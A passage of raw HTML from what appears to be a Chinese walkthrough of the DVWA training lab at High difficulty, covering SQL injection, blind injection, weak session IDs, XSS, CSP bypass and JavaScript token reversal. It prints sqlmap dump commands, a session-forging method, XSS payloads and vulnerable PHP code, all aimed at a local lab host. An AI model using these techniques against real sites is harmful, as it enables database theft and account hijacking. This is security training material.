punctuation\">\\\\<\/span>\u684c\u9762<span class=\"token punctuation\">\\\\<\/span><span class=\"token number\">1<\/span>.txt <span class=\"token parameter variable\">-D<\/span> dvwa <span class=\"token parameter variable\">-T<\/span> <span class=\"token function\">users<\/span> <span class=\"token parameter variable\">-C<\/span> user,password <span class=\"token parameter variable\">&#8211;dump<\/span> <span class=\"token parameter variable\">&#8211;batch<\/span> &#8211;second-url<span class=\"token operator\">&#061;<\/span>http:\/\/dvwa:8564\/vulnerabilities\/sqli\/<\/p>\n<p><img decoding=\"async\" src=\"2026-03-04pibii0bjsvo.png\" alt=\"\" \/> \u6267\u884c\u540e\u6210\u529f\u63d0\u53d6\u6570\u636e\u5e93\u4e2d\u6240\u6709\u8d26\u53f7\u548c\u52a0\u5bc6\u540e\u7684\u5bc6\u7801\u3002<\/p>\n<hr \/>\n<h3>8. SQL Injection (Blind) \u2014 SQL \u76f2\u6ce8<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u5728\u65f6\u95f4\u76f2\u6ce8\u4e2d\u52a0\u5165\u968f\u673asleep\u5ef6\u8fdf&#xff08;rand(0,5)&#061;&#061;3\u65f6\u89e6\u53d12-4\u79d2\u5ef6\u8fdf&#xff09;&#xff0c;\u5bfc\u81f4\u65f6\u95f4\u76f2\u6ce8\u5931\u6548&#xff0c;\u4ec5\u80fd\u4f7f\u7528\u5e03\u5c14\u76f2\u6ce8\u5b9e\u73b0\u6570\u636e\u63d0\u53d6\u3002 <img decoding=\"async\" src=\"2026-03-0443w5yvj1few.png\" alt=\"\" \/><\/p>\n<h4>\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n<p><span class=\"token keyword\">else<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token comment\">\/\/ \u968f\u673asleep&#xff0c;\u5e72\u6270\u65f6\u95f4\u76f2\u6ce8<\/span><br \/>\n    <span class=\"token keyword\">if<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">rand<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">0<\/span><span class=\"token punctuation\">,<\/span><span class=\"token number\">5<\/span><span class=\"token punctuation\">)<\/span><span class=\"token operator\">&#061;&#061;<\/span><span class=\"token number\">3<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token function\">sleep<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">rand<\/span><span class=\"token punctuation\">(<\/span><span class=\"token number\">2<\/span><span class=\"token punctuation\">,<\/span><span class=\"token number\">4<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<h4>\u5229\u7528\u6b65\u9aa4&#xff08;Sqlmap\u81ea\u52a8\u5316\u5e03\u5c14\u76f2\u6ce8&#xff09;<\/h4>\n<li>\u6293\u5305&#xff1a;\u6293\u53d6\u76f2\u6ce8\u8bf7\u6c42\u5305&#xff0c;\u53d1\u73b0\u6ce8\u5165\u70b9\u4f4d\u4e8eCookie\u7684id\u53c2\u6570\u4e2d&#xff08;id&#061;1&#xff09;\u3002 <img decoding=\"async\" src=\"2026-03-045tlqaza0ab0.png\" alt=\"\" \/><\/li>\n<li>\u6307\u5b9a\u5e03\u5c14\u76f2\u6ce8&#xff1a;\u4f7f\u7528&#8211;technique&#061;B\u53c2\u6570\u5f3a\u5236Sqlmap\u4f7f\u7528\u5e03\u5c14\u76f2\u6ce8&#xff0c;\u7ed3\u5408&#8211;second-url\u6307\u5b9a\u7ed3\u679c\u9875\u9762&#xff0c;\u547d\u4ee4\u5982\u4e0b&#xff1a;<\/li>\n<p>sqlmap <span class=\"token parameter variable\">-r<\/span> D:<span class=\"token punctuation\">\\\\<\/span>Backup<span class=\"token punctuation\">\\\\<\/span>\u684c\u9762<span class=\"token punctuation\">\\\\<\/span><span class=\"token number\">1<\/span>.txt <span class=\"token parameter variable\">&#8211;dbs<\/span> <span class=\"token parameter variable\">&#8211;batch<\/span> &#8211;second-url<span class=\"token operator\">&#061;<\/span><span class=\"token string\">&#034;http:\/\/dvwa:8564\/vulnerabilities\/sqli_blind\/&#034;<\/span> <span class=\"token parameter variable\">&#8211;technique<\/span><span class=\"token operator\">&#061;<\/span>B<\/p>\n<li>\u7ed3\u679c\u63d0\u53d6&#xff1a;Sqlmap\u901a\u8fc7\u5e03\u5c14\u76f2\u6ce8\u7684\u9875\u9762\u56de\u663e\u5dee\u5f02&#xff0c;\u6210\u529f\u7206\u7834\u51fa\u6240\u6709\u6570\u636e\u5e93\u540d&#xff08;dvwa\u3001security\u3001pikachu\u7b49&#xff09;\u3002 <img decoding=\"async\" src=\"2026-03-04jlp2mz1izzs.png\" alt=\"\" \/><\/li>\n<h4>\u6838\u5fc3\u6ce8\u610f\u70b9<\/h4>\n<p>\u8bf7\u6c42\u5305\u4e2d\u6709\u591a\u4e2a\u53c2\u6570\u65f6&#xff0c;\u907f\u514d\u540c\u65f6\u6807\u8bb0\u591a\u4e2a\u6ce8\u5165\u70b9&#xff0c;\u9010\u4e2a\u6d4b\u8bd5\u5b9a\u4f4d\u771f\u5b9e\u6ce8\u5165\u70b9&#xff08;\u672c\u6b21\u4e3aCookie\u7684id\u53c2\u6570&#xff09;\u3002<\/p>\n<hr \/>\n<h3>9. Weak Session IDs \u2014 \u5f31\u4f1a\u8bdd ID<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u7684dvwaSession\u53c2\u6570\u4e3aMD5\u52a0\u5bc6\u7684\u7b80\u5355\u6570\u5b57&#xff0c;\u53ef\u901a\u8fc7MD5\u89e3\u5bc6\u6784\u9020\u6709\u6548\u4f1a\u8bddID&#xff0c;\u5bfc\u81f4\u4f1a\u8bdd\u52ab\u6301\u3002<\/p>\n<h4>\u5229\u7528\u6b65\u9aa4<\/h4>\n<li>\u67e5\u770bCookie&#xff1a;\u5728\u6d4f\u89c8\u5668\u5f00\u53d1\u8005\u5de5\u5177\u4e2d\u67e5\u770bCookie&#xff0c;\u53ef\u89c1dvwaSession&#061;b6d767d2f8ed5d21a44b0e5886680cb9\u3002<\/li>\n<li>MD5\u89e3\u5bc6&#xff1a;\u5c06dvwaSession\u7684\u503c\u8fdb\u884cMD5\u89e3\u5bc6&#xff0c;\u7ed3\u679c\u4e3a22&#xff08;\u7b80\u5355\u6570\u5b57&#xff09;\u3002<\/li>\n<li>\u6784\u9020\u4f1a\u8bddID&#xff1a;\u901a\u8fc7MD5\u52a0\u5bc6\u8fde\u7eed\u6570\u5b57&#xff08;21\u300122\u300123\u300124\u2026&#xff09;&#xff0c;\u751f\u6210\u5927\u91cf\u6709\u6548dvwaSession\u503c&#xff0c;\u5c1d\u8bd5\u4f1a\u8bdd\u52ab\u6301\u3002<\/li>\n<h4>\u6f0f\u6d1e\u5371\u5bb3<\/h4>\n<p>\u653b\u51fb\u8005\u53ef\u901a\u8fc7\u6784\u9020\u5f31\u4f1a\u8bddID&#xff0c;\u5192\u5145\u5176\u4ed6\u7528\u6237\u767b\u5f55\u7cfb\u7edf&#xff0c;\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u3002<\/p>\n<hr \/>\n<h3>10. XSS (DOM) \u2014 DOM \u578b\u8de8\u7ad9\u811a\u672c<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u5bf9default\u53c2\u6570\u505a\u4e86\u767d\u540d\u5355\u8fc7\u6ee4&#xff08;\u4ec5\u5141\u8bb8French\u3001English\u3001German\u3001Spanish&#xff09;&#xff0c;\u975e\u767d\u540d\u5355\u503c\u4f1a\u88ab\u91cd\u5b9a\u5411&#xff0c;\u53ef\u901a\u8fc7**#\u53f7**\u7ed5\u8fc7\u670d\u52a1\u5668\u8fc7\u6ee4&#xff08;\u670d\u52a1\u5668\u4e0d\u89e3\u6790#\u540e\u53c2\u6570&#xff0c;\u524d\u7aefDOM\u89e3\u6790&#xff09;\u3002<\/p>\n<h4>\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n<p><img decoding=\"async\" src=\"2026-03-04qybf3di0xna.png\" alt=\"\" \/><\/p>\n<p><span class=\"token keyword\">if<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">array_key_exists<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string double-quoted-string\">&#034;default&#034;<\/span><span class=\"token punctuation\">,<\/span><span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">)<\/span><span class=\"token operator\">&amp;&amp;<\/span><span class=\"token operator\">!<\/span><span class=\"token function\">is_nulL<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;default&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">switch<\/span><span class=\"token punctuation\">(<\/span><span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;default&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">{<\/span><br \/>\n        <span class=\"token keyword\">case<\/span> <span class=\"token string double-quoted-string\">&#034;French&#034;<\/span><span class=\"token punctuation\">:<\/span><span class=\"token keyword\">case<\/span> <span class=\"token string double-quoted-string\">&#034;English&#034;<\/span><span class=\"token punctuation\">:<\/span><span class=\"token keyword\">case<\/span> <span class=\"token string double-quoted-string\">&#034;German&#034;<\/span><span class=\"token punctuation\">:<\/span><span class=\"token keyword\">case<\/span><span class=\"token string double-quoted-string\">&#034;Spanish&#034;<\/span><span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token keyword\">break<\/span><span class=\"token punctuation\">;<\/span><br \/>\n        <span class=\"token keyword\">default<\/span><span class=\"token punctuation\">:<\/span><br \/>\n            <span class=\"token function\">header<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string double-quoted-string\">&#034;Location:?default&#061;English&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n            <span class=\"token keyword\">exit<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><\/p>\n<h4>\u5229\u7528\u65b9\u6cd5<\/h4>\n<p>\u6784\u9020Payload&#xff0c;\u767d\u540d\u5355\u503c&#043;#\u53f7&#043;XSS\u811a\u672c&#xff0c;\u670d\u52a1\u5668\u4ec5\u89e3\u6790#\u524d\u7684English&#xff0c;\u524d\u7aefDOM\u89e3\u6790#\u540e\u7684XSS\u811a\u672c&#xff1a;<\/p>\n<p>http:\/\/dvwa:8564\/vulnerabilities\/xss_d\/?default&#061;English#&lt;script&gt;alert(1)&lt;\/script&gt;<\/p>\n<p>\u8bbf\u95ee\u540e\u6210\u529f\u5f39\u51fa\u5f39\u7a97&#xff0c;XSS\u5229\u7528\u6210\u529f\u3002 <img decoding=\"async\" src=\"2026-03-04vfpyrkhy3zs.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h3>11. XSS (Reflected) \u2014 \u53cd\u5c04\u578b\u8de8\u7ad9\u811a\u672c<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u5bf9&lt;script&gt;\u6807\u7b7e\u505a\u4e86\u4e25\u683c\u7684\u6b63\u5219\u8fc7\u6ee4&#xff08;\u5339\u914d\u4efb\u610f\u53d8\u79cd\u7684script\u5173\u952e\u5b57&#xff0c;\u5982ScRiPt\u3001script\u7b49&#xff09;&#xff0c;\u65e0\u6cd5\u76f4\u63a5\u4f7f\u7528script\u6807\u7b7e&#xff0c;\u53ef\u901a\u8fc7\u4e8b\u4ef6\u578bXSS\u7ed5\u8fc7\u6ee4\u3002<\/p>\n<h4>\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n<p><img decoding=\"async\" src=\"2026-03-04w0oggcozxhd.png\" alt=\"\" \/><\/p>\n<p><span class=\"token variable\">$name<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token function\">preg_replace<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string single-quoted-string\">&#039;\/&lt;(.*)s(.*)c(.*)(.)i(.*)p(.*)t\/i&#039;<\/span><span class=\"token punctuation\">,<\/span><span class=\"token string double-quoted-string\">&#034;&#034;<\/span><span class=\"token punctuation\">,<\/span><span class=\"token variable\">$_GET<\/span><span class=\"token punctuation\">[<\/span><span class=\"token string single-quoted-string\">&#039;name&#039;<\/span><span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token variable\">$html<\/span><span class=\"token operator\">.&#061;<\/span><span class=\"token string double-quoted-string\">&#034;&lt;pre&gt;hello<span class=\"token interpolation\"><span class=\"token punctuation\">{<\/span><span class=\"token variable\">$name<\/span><span class=\"token punctuation\">}<\/span><\/span>&lt;\/pre&gt;&#034;<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<h4>\u5229\u7528\u65b9\u6cd5<\/h4>\n<p>\u4f7f\u7528&lt;img&gt;\u6807\u7b7e\u7684onerror\u4e8b\u4ef6\u6784\u9020\u65e0script\u7684XSS Payload&#xff0c;\u89e6\u53d1\u5f39\u7a97&#xff1a;<\/p>\n<p>&lt;img src&#061;x onerror&#061;alert(1)&gt;<\/p>\n<p>\u63d0\u4ea4\u540e\u6210\u529f\u5f39\u51fa\u5f39\u7a97&#xff0c;XSS\u5229\u7528\u6210\u529f\u3002 <img decoding=\"async\" src=\"2026-03-04izmtgmlhecs.png\" alt=\"\" \/><\/p>\n<h4>\u62d3\u5c55Payload<\/h4>\n<p>&lt;div onmouseover&#061;alert(1)&gt;\u9f20\u6807\u60ac\u505c\u89e6\u53d1&lt;\/div&gt;<br \/>\n&lt;a href&#061;javascript:alert(1)&gt;\u70b9\u51fb\u89e6\u53d1&lt;\/a&gt;<\/p>\n<hr \/>\n<h3>12. XSS (Stored) \u2014 \u5b58\u50a8\u578b\u8de8\u7ad9\u811a\u672c<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u5bf9message\u5b57\u6bb5\u505a\u4e86\u591a\u91cd\u8fc7\u6ee4&#xff08;strip_tags&#043;addslashes&#043;htmlspecialchars&#xff09;&#xff0c;\u5b8c\u5168\u65e0\u6cd5\u6ce8\u5165&#xff1b;\u5bf9name\u5b57\u6bb5\u4ec5\u8fc7\u6ee4&lt;script&gt;\u6807\u7b7e&#xff0c;\u53ef\u5728name\u5b57\u6bb5\u6784\u9020\u4e8b\u4ef6\u578bXSS&#xff0c;\u5e76\u4fee\u6539\u524d\u7aef\u8f93\u5165\u6846\u9650\u5236\u5b9e\u73b0\u957fPayload\u8f93\u5165\u3002<\/p>\n<h4>\u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n<p><img decoding=\"async\" src=\"2026-03-04x2et522q34u.png\" alt=\"\" \/><\/p>\n<p><span class=\"token comment\">\/\/ message\u5b57\u6bb5\u4e25\u683c\u8fc7\u6ee4<\/span><br \/>\n<span class=\"token variable\">$message<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token function\">strip_tags<\/span><span class=\"token punctuation\">(<\/span><span class=\"token function\">addslashes<\/span><span class=\"token punctuation\">(<\/span> <span class=\"token variable\">$message<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token variable\">$message<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token function\">htmlspecialchars<\/span> <span class=\"token punctuation\">(<\/span> <span class=\"token variable\">$message<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token comment\">\/\/ name\u5b57\u6bb5\u4ec5\u8fc7\u6ee4script\u6807\u7b7e<\/span><br \/>\n<span class=\"token variable\">$name<\/span><span class=\"token operator\">&#061;<\/span><span class=\"token function\">preg_replace<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string single-quoted-string\">&#039;\/&lt;(.*)s(.*)c(.*)i(.*)p(.*)t\/i&#039;<\/span><span class=\"token punctuation\">,<\/span><span class=\"token string double-quoted-string\">&#034;&#034;<\/span><span class=\"token punctuation\">,<\/span><span class=\"token variable\">$name<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><\/p>\n<h4>\u5229\u7528\u6b65\u9aa4<\/h4>\n<li>\u4fee\u6539\u524d\u7aef\u8f93\u5165\u9650\u5236&#xff1a;name\u8f93\u5165\u6846\u9ed8\u8ba4\u6709\u957f\u5ea6\u9650\u5236&#xff0c;\u901a\u8fc7\u6d4f\u89c8\u5668\u5f00\u53d1\u8005\u5de5\u5177\u4fee\u6539maxlength\u4e3a10000&#xff0c;\u5141\u8bb8\u8f93\u5165\u957fPayload\u3002 <img decoding=\"async\" src=\"2026-03-04cdku0e4jtth.png\" alt=\"\" \/><\/li>\n<li>\u6784\u9020Payload&#xff1a;\u5728name\u5b57\u6bb5\u8f93\u5165&lt;img&gt;\u6807\u7b7e\u7684onerror\u4e8b\u4ef6XSS Payload&#xff0c;message\u5b57\u6bb5\u4efb\u610f\u586b\u5199&#xff1a;&lt;img src&#061;x onerror&#061;alert(1)&gt;\n <\/li>\n<p><img decoding=\"async\" src=\"2026-03-04sl42mq4zpkw.png\" alt=\"\" \/> 3. \u63d0\u4ea4\u89e6\u53d1&#xff1a;\u63d0\u4ea4\u540e\u7559\u8a00\u7c3f\u4e2d\u5b58\u50a8\u8be5Payload&#xff0c;\u4efb\u610f\u7528\u6237\u8bbf\u95ee\u7559\u8a00\u7c3f\u9875\u9762\u65f6&#xff0c;\u81ea\u52a8\u5f39\u51fa\u5f39\u7a97&#xff0c;\u5b58\u50a8\u578bXSS\u5229\u7528\u6210\u529f\u3002 <img decoding=\"async\" src=\"2026-03-043wnlhtfdpjr.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h3>13. CSP Bypass \u2014 CSP \u7ed5\u8fc7<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u914d\u7f6e\u4e86\u5185\u5bb9\u5b89\u5168\u7b56\u7565&#xff08;CSP&#xff09;&#xff0c;\u4ec5\u5141\u8bb8\u52a0\u8f7dself&#xff08;\u81ea\u8eab\u57df\u540d&#xff09;\u7684\u811a\u672c&#xff0c;\u7981\u6b62\u5916\u90e8\u811a\u672c\u548c\u672a\u6388\u6743\u5185\u8054\u811a\u672c&#xff0c;\u4f46\u9776\u573a\u81ea\u8eab\u4ee3\u7801\u5b58\u5728\u903b\u8f91\u6f0f\u6d1e&#xff0c;\u53ef\u901a\u8fc7\u81ea\u8eab\u7684JSONP\u63a5\u53e3\u7ed5\u8fc7CSP\u3002 <img decoding=\"async\" src=\"2026-03-04bmppebmdx54.png\" alt=\"\" \/> <img decoding=\"async\" src=\"2026-03-04ylel0bbklxj.png\" alt=\"\" \/><\/p>\n<h4>\u6f0f\u6d1e\u5206\u6790<\/h4>\n<li>\u67e5\u770b\u54cd\u5e94\u5934&#xff0c;CSP\u914d\u7f6e\u4e3a&#xff1a;Content-Security-Policy: script-src &#039;self&#039;\u3002 <img decoding=\"async\" src=\"2026-03-043epvvaf5csu.png\" alt=\"\" \/><\/li>\n<li>\u53d1\u73b0\u9776\u573a\u5b58\u5728JSONP\u63a5\u53e3&#xff1a;\/vulnerabilities\/csp\/source\/jsonp.php?callback&#061;xxx&#xff0c;\u8be5\u63a5\u53e3\u53ef\u63a5\u6536\u4efb\u610fcallback\u53c2\u6570\u5e76\u6267\u884c&#xff0c;\u4e14\u5c5e\u4e8e\u81ea\u8eab\u57df\u540d&#xff0c;\u7b26\u5408CSP\u89c4\u5219\u3002 <img decoding=\"async\" src=\"2026-03-04aftonfczg1o.png\" alt=\"\" \/><\/li>\n<li>\u540e\u7aef\u5b58\u5728\u4efb\u610f\u4ee3\u7801\u5199\u5165\u6f0f\u6d1e&#xff0c;include\u53c2\u6570\u53ef\u76f4\u63a5\u5199\u5165HTML\/JS\u4ee3\u7801&#xff0c;\u65e0\u8fc7\u6ee4\u3002<\/li>\n<h4>\u5229\u7528\u65b9\u6cd5<\/h4>\n<p>\u901a\u8fc7POST\u8bf7\u6c42\u5411include\u53c2\u6570\u6ce8\u5165\u811a\u672c&#xff0c;\u52a0\u8f7d\u81ea\u8eabJSONP\u63a5\u53e3\u5e76\u6267\u884cXSS\u4ee3\u7801&#xff0c;Payload\u5982\u4e0b&#xff1a;<\/p>\n<p>include&#061;&lt;script src&#061;&#034;\/vulnerabilities\/csp\/source\/jsonp.php?callback&#061;alert(1)&#034;&gt;&lt;\/script&gt;<\/p>\n<h4>\u64cd\u4f5c\u6b65\u9aa4<\/h4>\n<li>\u6253\u5f00Burp Suite\u7684Repeater&#xff0c;\u6784\u9020POST\u8bf7\u6c42&#xff0c;\u76ee\u6807URL&#xff1a;http:\/\/dvwa:8564\/vulnerabilities\/csp\/&#xff1b;<\/li>\n<li>\u8bf7\u6c42\u4f53\u4e3aapplication\/x-www-form-urlencoded&#xff0c;\u53c2\u6570&#xff1a;include&#061;&lt;script src&#061;&#034;\/vulnerabilities\/csp\/source\/jsonp.php?callback&#061;alert(1)&#034;&gt;&lt;\/script&gt;&#xff1b;<\/li>\n<li>\u53d1\u9001\u8bf7\u6c42\u540e&#xff0c;\u6210\u529f\u5f39\u51fa\u5f39\u7a97&#xff0c;CSP\u7ed5\u8fc7\u6210\u529f\u3002 <img decoding=\"async\" src=\"2026-03-04bpue34anxe1.png\" alt=\"\" \/><\/li>\n<hr \/>\n<h3>14. JavaScript Attacks \u2014 JavaScript \u653b\u51fb<\/h3>\n<h4>\u6f0f\u6d1e\u7279\u70b9<\/h4>\n<p>High \u96be\u5ea6\u901a\u8fc7JavaScript\u52a0\u5bc6\u7b97\u6cd5\u751f\u6210token&#xff0c;\u9700\u63d0\u4ea4\u6b63\u786e\u7684phrase&#043;token\u624d\u80fd\u901a\u8fc7\u9a8c\u8bc1&#xff0c;\u6838\u5fc3\u4e3a\u5206\u6790\u52a0\u5bc6\u903b\u8f91\u5e76\u8fd8\u539ftoken\u751f\u6210\u8fc7\u7a0b\u3002<\/p>\n<h4>\u52a0\u5bc6\u903b\u8f91\u5206\u6790<\/h4>\n<p><img decoding=\"async\" src=\"2026-03-04kfmcyp3x20i.png\" alt=\"\" \/> \u901a\u8fc7Burp\u6293\u5305\u83b7\u53d6\u6df7\u6dc6\u7684JS\u4ee3\u7801&#xff0c;\u53cd\u6df7\u6dc6\u540e\u5f97\u52303\u4e2a\u6838\u5fc3\u52a0\u5bc6\u51fd\u6570&#xff0c;\u6267\u884c\u987a\u5e8f\u4e3a&#xff1a;token_part_1 \u2192 token_part_2&#xff08;300ms\u5ef6\u65f6&#xff09; \u2192 token_part_3&#xff08;\u70b9\u51fb\u63d0\u4ea4\u89e6\u53d1&#xff09;\u3002<\/p>\n<h5>\u53cd\u6df7\u6dc6\u540e\u6838\u5fc3JS\u4ee3\u7801<\/h5>\n<p><span class=\"token comment\">\/\/ \u5b57\u7b26\u4e32\u53cd\u8f6c<\/span><br \/>\n<span class=\"token keyword\">function<\/span> <span class=\"token function\">do_something<\/span><span class=\"token punctuation\">(<\/span><span class=\"token parameter\">e<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    <span class=\"token keyword\">for<\/span> <span class=\"token punctuation\">(<\/span><span class=\"token keyword\">var<\/span> t <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;&#034;<\/span><span class=\"token punctuation\">,<\/span> n <span class=\"token operator\">&#061;<\/span> e<span class=\"token punctuation\">.<\/span>length <span class=\"token operator\">&#8211;<\/span> <span class=\"token number\">1<\/span><span class=\"token punctuation\">;<\/span> n <span class=\"token operator\">&gt;&#061;<\/span> <span class=\"token number\">0<\/span><span class=\"token punctuation\">;<\/span> n<span class=\"token operator\">&#8212;<\/span><span class=\"token punctuation\">)<\/span> t <span class=\"token operator\">&#043;&#061;<\/span> e<span class=\"token punctuation\">[<\/span>n<span class=\"token punctuation\">]<\/span><span class=\"token punctuation\">;<\/span><br \/>\n    <span class=\"token keyword\">return<\/span> t<br \/>\n<span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token comment\">\/\/ sha256(YY &#043; token)&#xff0c;High\u96be\u5ea6\u4e3aXX<\/span><br \/>\n<span class=\"token keyword\">function<\/span> <span class=\"token function\">token_part_2<\/span><span class=\"token punctuation\">(<\/span>e <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;XX&#034;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    document<span class=\"token punctuation\">.<\/span><span class=\"token function\">getElementById<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;token&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>value <span class=\"token operator\">&#061;<\/span> <span class=\"token function\">sha256<\/span><span class=\"token punctuation\">(<\/span>e <span class=\"token operator\">&#043;<\/span> document<span class=\"token punctuation\">.<\/span><span class=\"token function\">getElementById<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;token&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>value<span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token comment\">\/\/ sha256(token &#043; ZZ)<\/span><br \/>\n<span class=\"token keyword\">function<\/span> <span class=\"token function\">token_part_3<\/span><span class=\"token punctuation\">(<\/span>t<span class=\"token punctuation\">,<\/span> y <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;ZZ&#034;<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    document<span class=\"token punctuation\">.<\/span><span class=\"token function\">getElementById<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;token&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>value <span class=\"token operator\">&#061;<\/span> <span class=\"token function\">sha256<\/span><span class=\"token punctuation\">(<\/span>document<span class=\"token punctuation\">.<\/span><span class=\"token function\">getElementById<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;token&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>value <span class=\"token operator\">&#043;<\/span> y<span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token comment\">\/\/ \u53cd\u8f6cphrase\u8d4b\u503c\u7ed9token<\/span><br \/>\n<span class=\"token keyword\">function<\/span> <span class=\"token function\">token_part_1<\/span><span class=\"token punctuation\">(<\/span><span class=\"token parameter\">a<span class=\"token punctuation\">,<\/span> b<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><br \/>\n    document<span class=\"token punctuation\">.<\/span><span class=\"token function\">getElementById<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;token&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>value <span class=\"token operator\">&#061;<\/span> <span class=\"token function\">do_something<\/span><span class=\"token punctuation\">(<\/span>document<span class=\"token punctuation\">.<\/span><span class=\"token function\">getElementById<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;phrase&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>value<span class=\"token punctuation\">)<\/span><br \/>\n<span class=\"token punctuation\">}<\/span><br \/>\n<span class=\"token comment\">\/\/ \u6267\u884c\u987a\u5e8f&#xff1a;\u5148token_part_1&#xff0c;300ms\u540etoken_part_2&#xff0c;\u70b9\u51fb\u63d0\u4ea4\u89e6\u53d1token_part_3<\/span><br \/>\ndocument<span class=\"token punctuation\">.<\/span><span class=\"token function\">getElementById<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;phrase&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span>value <span class=\"token operator\">&#061;<\/span> <span class=\"token string\">&#034;&#034;<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token function\">setTimeout<\/span><span class=\"token punctuation\">(<\/span><span class=\"token keyword\">function<\/span><span class=\"token punctuation\">(<\/span><span class=\"token punctuation\">)<\/span> <span class=\"token punctuation\">{<\/span><span class=\"token function\">token_part_2<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;XX&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">}<\/span><span class=\"token punctuation\">,<\/span> <span class=\"token number\">300<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\ndocument<span class=\"token punctuation\">.<\/span><span class=\"token function\">getElementById<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;send&#034;<\/span><span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">.<\/span><span class=\"token function\">addEventListener<\/span><span class=\"token punctuation\">(<\/span><span class=\"token string\">&#034;click&#034;<\/span><span class=\"token punctuation\">,<\/span> token_part_3<span class=\"token punctuation\">)<\/span><span class=\"token punctuation\">;<\/span><br \/>\n<span class=\"token function\">token_part_1<\/span><span class=\"token 